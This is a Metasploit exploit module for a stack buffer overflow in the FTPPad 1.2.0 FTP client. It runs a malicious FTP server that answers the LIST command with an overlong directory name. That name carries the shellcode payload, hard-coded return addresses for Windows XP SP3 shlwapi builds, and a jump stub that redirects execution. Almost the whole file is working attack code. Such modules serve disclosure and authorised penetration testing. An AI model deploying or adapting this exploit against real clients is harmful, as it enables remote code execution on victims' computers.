FTPPad 1.2.0 - Remote Stack Buffer Overflow (Metasploit)

##
# $Id: ftppad_list_reply.rb 11039 2010-11-14 19:03:24Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Exploit::Remote::FtpServer

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'FTPPad 1.2.0 Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow FTPPad 1.2.0 ftp client. The overflow is
				triggered when the client connects to a FTP server which sends an overly long directory
				and filename in response to a LIST command.

				This will cause an access violation, and will eventually overwrite the saved extended
				instruction pointer.  Payload can be found at EDX+5c and ESI+5c, so a little pivot/
				sniper was needed to make this one work.
			},
			'Author' 	 =>
				[
					'corelanc0d3r'
				],
			'License'        => MSF_LICENSE,
			'Version'        => "$Revision: 11039 $",
			'References'     =>
				[
					[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 3000,
					'BadChars' => "\x00\x0a\x2f\x5c\xff\x0c\x0d\x08\x09",
					'DisableNops' => true,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					#shlwapi sniper + pivot :  MOV DWORD PTR DS:[EDX],EAX + CALL ESI
					[ 'XP SP3 Professional, English - shlwapi 6.00.2900.5912', { 'Ret' => 0x77FA6556 } ],
					[ 'XP SP3 Professional, German - shlwapi 6.00.2900.5912' , { 'Ret' => 0x77f86556 } ],
					[ 'XP SP3 Professional, English - shlwapi 6.00.2900.5512', { 'Ret' => 0x77FA6526 } ],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Oct 12 2010',
			'DefaultTarget'  => 0))

	end

	def setup
		super
	end

	def on_client_unknown_command(c,cmd,arg)
		c.put("200 OK\r\n")
	end

	def on_client_command_list(c,arg)
		conn = establish_data_connection(c)
		if(not conn)
			c.put("425 Can't build data connection\r\n")
			return
		end
		print_status(" - Data connection set up")
		code = 150
		c.put("#{code} Here comes the directory listing.\r\n")
		code = 226
		c.put("#{code} Directory send ok.\r\n")
		totalsize = 13000
		foldername = "A" * 24 + payload.encoded + ("A" * (3318-payload.encoded.length))
		#EDX+5c and ESI+5c point at shellcode
		#we control EAX and EIP
		#use value in EAX to write to EDX (to make a jump forward, about 5c bytes)
		#and then jump to ESI (which will then execute the jump forward, to payload)
		foldername << [target.ret].pack('V')  # MOV DWORD PTR DS:[EDX],EAX # ... # CALL ESI
		foldername << "\x41\x41\x75\x5B"  # EAX -> 75 5B = JNZ SHORT -> shellcode
		foldername << " " * (totalsize - foldername.length)
		print_status(" - Sending directory list via data connection")
		dirlist = "drwxrwxrwx    1 100      0         11111 Jun 11 21:10 #{foldername}\r\n"
		conn.put(dirlist + dirlist + dirlist + dirlist)
		conn.close
		return
	end

end